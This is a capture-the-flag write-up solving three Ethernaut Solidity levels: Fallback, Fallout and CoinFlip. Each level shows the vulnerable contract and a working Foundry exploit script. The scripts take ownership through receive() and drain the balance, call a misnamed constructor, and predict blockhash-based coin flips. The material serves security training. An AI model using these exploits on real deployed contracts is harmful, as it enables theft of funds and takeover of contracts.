Ethernaut challenges

Fallback

our goal :

  • claim ownership of the contract
  • reduce its balance to 0
    original contract:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Fallback {
    mapping(address => uint256) public contributions;
    address public owner;

    constructor() {
        owner = msg.sender;
        contributions[msg.sender] = 1000 * (1 ether);
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "caller is not the owner");
        _;
    }

    function contribute() public payable {
        require(msg.value < 0.001 ether);
        contributions[msg.sender] += msg.value;
        if (contributions[msg.sender] > contributions[owner]) {
            owner = msg.sender;
        }
    }

    function getContribution() public view returns (uint256) {
        return contributions[msg.sender];
    }

    function withdraw() public onlyOwner {
        payable(owner).transfer(address(this).balance);
    }

    receive() external payable {
        require(msg.value > 0 && contributions[msg.sender] > 0);
        owner = msg.sender;
    }
}

as we send eth to the contract , the ownership automatically changed to us:

         receive ETH
              |
         msg.data empty?
            /  \
           T    F
          /      \
receive() exists?   fallback()
        / \
       T   F
      /     \
receive()   fallback()

so the answer:

  1. contibute to fund our account in contract
  2. call{value: }("") to send eth to contract , trigger the fallback (in this case receive)
  3. owner changed and withdraw all the fund in contract

POC:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

import {Script, console} from "forge-std/Script.sol";
import {Fallback} from "../src/Fallback.sol";

error callFailed();

contract fallBackSolution is Script {
    function run() external {
        uint256 PK = vm.envUint("PRIVATE_KEY");
        Fallback fallBackInstance = Fallback(payable(vm.envAddress("FALLBACK_ADDRESS")));
        // Fallback fallBackInstance = Fallback(payable(0x8Dafc24Ac2B813590f0a6b007159a1140c5Fd33c));

        console.log("fallbackInstanceAddress: ", address(fallBackInstance));

        vm.startBroadcast(PK);

        fallBackInstance.contribute{value: 1}();

        (bool temp,) = payable(fallBackInstance).call{value: 1}("");
        if (!temp) revert callFailed();

        console.log("New owner: ", fallBackInstance.owner());

        fallBackInstance.withdraw();

        vm.stopBroadcast();
    }
}

Fallout

our goal:

  • claim the ownership

original contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "openzeppelin-contracts-06/math/SafeMath.sol";
// forge install openzeppelin-contracts-06=OpenZeppelin/openzeppelin-contracts@v3.4.0

contract Fallout {
    using SafeMath for uint256;

    mapping(address => uint256) allocations;
    address payable public owner;

    /* constructor */
    function Fal1out() public payable {
        owner = msg.sender;
        allocations[owner] = msg.value;
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "caller is not the owner");
        _;
    }

    function allocate() public payable {
        allocations[msg.sender] = allocations[msg.sender].add(msg.value);
    }

    function sendAllocation(address payable allocator) public {
        require(allocations[allocator] > 0);
        allocator.transfer(allocations[allocator]);
    }

    function collectAllocations() public onlyOwner {
        msg.sender.transfer(address(this).balance);
    }

    function allocatorBalance(address allocator) public view returns (uint256) {
        return allocations[allocator];
    }
}

call the function Fal1out to gain the ownership

POC:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.6.0;

import {Script, console} from "forge-std/Script.sol";
import {Fallout} from "../src/Fallout.sol";

contract CounterScript is Script {
    uint256 PK = vm.envUint("PRIVATE_KEY");
    address instanceAddress = vm.envAddress("FALLOUT_ADDRESS");

    function run() public {
        Fallout fallOut = Fallout(instanceAddress);

        vm.startBroadcast(PK);

        console.log("contract owner: ", fallOut.owner());
        console.log("calling Fal1out...");

        fallOut.Fal1out();

        console.log("contract owner: ", fallOut.owner());

        vm.stopBroadcast();
    }
}

CoinFlip

our goal:

  • win 10 times in a row

original contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {
    uint256 public consecutiveWins;
    uint256 lastHash;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor() {
        consecutiveWins = 0;
    }

    function flip(bool _guess) public returns (bool) {
        uint256 blockValue = uint256(blockhash(block.number - 1));

        if (lastHash == blockValue) {
            revert();
        }

        lastHash = blockValue;
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;

        if (side == _guess) {
            consecutiveWins++;
            return true;
        } else {
            consecutiveWins = 0;
            return false;
        }
    }
}

the contract uses unsafe factor which we can predict the side of coin each time
when writing exp , there are few things need to concern:

  • block.number was 0 when not pointed , use vm.roll() to set block number, otherwise it may take underflow error
  • use --tc CoinFlipScript to point which contract to run
  • The contract has hash check, however ,when we do local simulation the hash won't change. So use --skip-simulation to skip simulation check

POC:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.18;

import {Script, console} from "forge-std/Script.sol";
import {CoinFlip} from "../src/CoinFlip.sol";

contract exp {
    uint256 public FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor(CoinFlip _coinFlip) {
        uint256 blockValue = uint256(blockhash(block.number - 1));
        uint256 _tp = blockValue / FACTOR;

        console.log("_tp: ", _tp);
        bool _side = _tp == 1 ? true : false;
        console.log("_side: ", _side);

        _coinFlip.flip(_side);
    }
}

contract CoinFlipScript is Script {
    uint256 PK = vm.envUint("PRIVATE_KEY");
    address instanceAddress = vm.envAddress("COINFLIP_ADDRESS");
    CoinFlip coinFlipInstance = CoinFlip(instanceAddress);
    // function setUp() public {}

    function run() public {
        // vm.broadcast();
        vm.roll(100);
        vm.startBroadcast(PK);
        for (uint256 i = 0; i < 10; i++) {
            vm.roll(100 + i);
            new exp(coinFlipInstance);
            console.log("wins: ", coinFlipInstance.consecutiveWins());
        }
        vm.stopBroadcast();
    }
}